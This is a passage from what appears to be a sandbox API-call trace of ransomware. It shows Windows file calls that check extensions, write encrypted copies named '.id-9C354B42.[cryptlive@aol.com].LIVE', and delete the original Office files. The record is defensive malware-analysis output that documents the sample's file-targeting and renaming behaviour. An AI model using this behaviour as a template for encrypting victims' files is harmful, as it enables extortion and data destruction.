-1 [0142.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.731] lstrlenW (lpString=".dbf") returned 4 [0142.731] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0142.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.731] lstrlenW (lpString=".1cd") returned 4 [0142.731] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0142.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.731] lstrlenW (lpString=".jpg") returned 4 [0142.731] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0142.731] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0142.731] lstrlenW (lpString="MSACCESS_COL.HXT") returned 16 [0142.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.732] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=208) returned 1 [0142.732] CloseHandle (hObject=0x380) returned 1 [0142.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt")) returned 0x20 [0142.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.732] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.732] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.733] GetLastError () returned 0x0 [0142.733] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xd0, lpOverlapped=0x0) returned 1 [0142.734] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0142.735] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.735] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0142.735] SetEndOfFile (hFile=0x3ac) returned 1 [0142.735] CloseHandle (hObject=0x3ac) returned 1 [0142.735] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.735] SetEndOfFile (hFile=0x380) returned 1 [0142.738] CloseHandle (hObject=0x380) returned 1 [0142.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt")) returned 1 [0142.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.739] lstrlenW (lpString=".doc") returned 4 [0142.739] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.739] lstrlenW (lpString=".docx") returned 5 [0142.739] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.739] lstrlenW (lpString=".pdf") returned 4 [0142.739] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.739] lstrlenW (lpString=".xls") returned 4 [0142.739] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.739] lstrlenW (lpString=".xlsx") returned 5 [0142.739] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.739] lstrlenW (lpString=".ppt") returned 4 [0142.739] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.739] lstrlenW (lpString=".zip") returned 4 [0142.739] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.739] lstrlenW (lpString=".rar") returned 4 [0142.739] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.739] lstrlenW (lpString=".bz2") returned 4 [0142.739] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.739] lstrlenW (lpString=".7z") returned 3 [0142.739] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.739] lstrlenW (lpString=".dbf") returned 4 [0142.739] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.739] lstrlenW (lpString=".1cd") returned 4 [0142.739] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.739] lstrlenW (lpString=".jpg") returned 4 [0142.739] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.739] lstrlenW (lpString=".doc") returned 4 [0142.739] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.740] lstrlenW (lpString=".docx") returned 5 [0142.740] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.740] lstrlenW (lpString=".pdf") returned 4 [0142.740] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.740] lstrlenW (lpString=".xls") returned 4 [0142.740] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.740] lstrlenW (lpString=".xlsx") returned 5 [0142.740] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.740] lstrlenW (lpString=".ppt") returned 4 [0142.740] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.740] lstrlenW (lpString=".zip") returned 4 [0142.740] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.740] lstrlenW (lpString=".rar") returned 4 [0142.740] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.740] lstrlenW (lpString=".bz2") returned 4 [0142.740] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.740] lstrlenW (lpString=".7z") returned 3 [0142.740] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.740] lstrlenW (lpString=".dbf") returned 4 [0142.740] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.740] lstrlenW (lpString=".1cd") returned 4 [0142.740] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0142.740] lstrlenW (lpString=".jpg") returned 4 [0142.740] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.740] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.740] lstrlenW (lpString="MSACCESS_F_COL.HXK") returned 18 [0142.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.741] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=114) returned 1 [0142.741] CloseHandle (hObject=0x380) returned 1 [0142.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk")) returned 0x20 [0142.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.741] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.741] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.742] GetLastError () returned 0x0 [0142.742] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x72, lpOverlapped=0x0) returned 1 [0142.743] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.744] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.744] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0142.744] SetEndOfFile (hFile=0x3ac) returned 1 [0142.744] CloseHandle (hObject=0x3ac) returned 1 [0142.744] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.745] SetEndOfFile (hFile=0x380) returned 1 [0142.750] CloseHandle (hObject=0x380) returned 1 [0142.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk")) returned 1 [0142.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.751] lstrlenW (lpString=".doc") returned 4 [0142.751] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.751] lstrlenW (lpString=".docx") returned 5 [0142.751] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.751] lstrlenW (lpString=".pdf") returned 4 [0142.751] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.751] lstrlenW (lpString=".xls") returned 4 [0142.751] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.751] lstrlenW (lpString=".xlsx") returned 5 [0142.751] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.751] lstrlenW (lpString=".ppt") returned 4 [0142.751] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.751] lstrlenW (lpString=".zip") returned 4 [0142.751] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.751] lstrlenW (lpString=".rar") returned 4 [0142.751] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.751] lstrlenW (lpString=".bz2") returned 4 [0142.751] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.751] lstrlenW (lpString=".7z") returned 3 [0142.751] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.751] lstrlenW (lpString=".dbf") returned 4 [0142.751] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.751] lstrlenW (lpString=".1cd") returned 4 [0142.751] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.751] lstrlenW (lpString=".jpg") returned 4 [0142.751] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.752] lstrlenW (lpString=".doc") returned 4 [0142.752] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.752] lstrlenW (lpString=".docx") returned 5 [0142.752] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.752] lstrlenW (lpString=".pdf") returned 4 [0142.752] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.752] lstrlenW (lpString=".xls") returned 4 [0142.752] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.752] lstrlenW (lpString=".xlsx") returned 5 [0142.752] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.752] lstrlenW (lpString=".ppt") returned 4 [0142.752] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.752] lstrlenW (lpString=".zip") returned 4 [0142.752] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.752] lstrlenW (lpString=".rar") returned 4 [0142.752] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.752] lstrlenW (lpString=".bz2") returned 4 [0142.752] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.752] lstrlenW (lpString=".7z") returned 3 [0142.752] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.752] lstrlenW (lpString=".dbf") returned 4 [0142.752] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.752] lstrlenW (lpString=".1cd") returned 4 [0142.752] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0142.752] lstrlenW (lpString=".jpg") returned 4 [0142.752] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.753] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.753] lstrlenW (lpString="MSACCESS_K_COL.HXK") returned 18 [0142.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.753] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=113) returned 1 [0142.753] CloseHandle (hObject=0x380) returned 1 [0142.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk")) returned 0x20 [0142.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.754] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.754] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.754] GetLastError () returned 0x0 [0142.754] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x71, lpOverlapped=0x0) returned 1 [0142.755] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.756] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.756] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0142.756] SetEndOfFile (hFile=0x3ac) returned 1 [0142.756] CloseHandle (hObject=0x3ac) returned 1 [0142.756] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.756] SetEndOfFile (hFile=0x380) returned 1 [0142.759] CloseHandle (hObject=0x380) returned 1 [0142.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk")) returned 1 [0142.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.760] lstrlenW (lpString=".doc") returned 4 [0142.760] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.760] lstrlenW (lpString=".docx") returned 5 [0142.760] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.760] lstrlenW (lpString=".pdf") returned 4 [0142.760] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.760] lstrlenW (lpString=".xls") returned 4 [0142.760] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.760] lstrlenW (lpString=".xlsx") returned 5 [0142.760] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.760] lstrlenW (lpString=".ppt") returned 4 [0142.760] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.760] lstrlenW (lpString=".zip") returned 4 [0142.760] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.760] lstrlenW (lpString=".rar") returned 4 [0142.760] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.760] lstrlenW (lpString=".bz2") returned 4 [0142.760] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.760] lstrlenW (lpString=".7z") returned 3 [0142.760] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.760] lstrlenW (lpString=".dbf") returned 4 [0142.760] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.760] lstrlenW (lpString=".1cd") returned 4 [0142.760] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.760] lstrlenW (lpString=".jpg") returned 4 [0142.760] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.761] lstrlenW (lpString=".doc") returned 4 [0142.761] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.761] lstrlenW (lpString=".docx") returned 5 [0142.761] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.761] lstrlenW (lpString=".pdf") returned 4 [0142.761] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.761] lstrlenW (lpString=".xls") returned 4 [0142.761] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.761] lstrlenW (lpString=".xlsx") returned 5 [0142.761] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.761] lstrlenW (lpString=".ppt") returned 4 [0142.761] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.761] lstrlenW (lpString=".zip") returned 4 [0142.761] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.761] lstrlenW (lpString=".rar") returned 4 [0142.761] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.761] lstrlenW (lpString=".bz2") returned 4 [0142.761] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.761] lstrlenW (lpString=".7z") returned 3 [0142.761] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.761] lstrlenW (lpString=".dbf") returned 4 [0142.761] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.761] lstrlenW (lpString=".1cd") returned 4 [0142.761] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0142.761] lstrlenW (lpString=".jpg") returned 4 [0142.761] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.761] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0142.762] lstrlenW (lpString="MSAIN.DLL") returned 9 [0142.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: 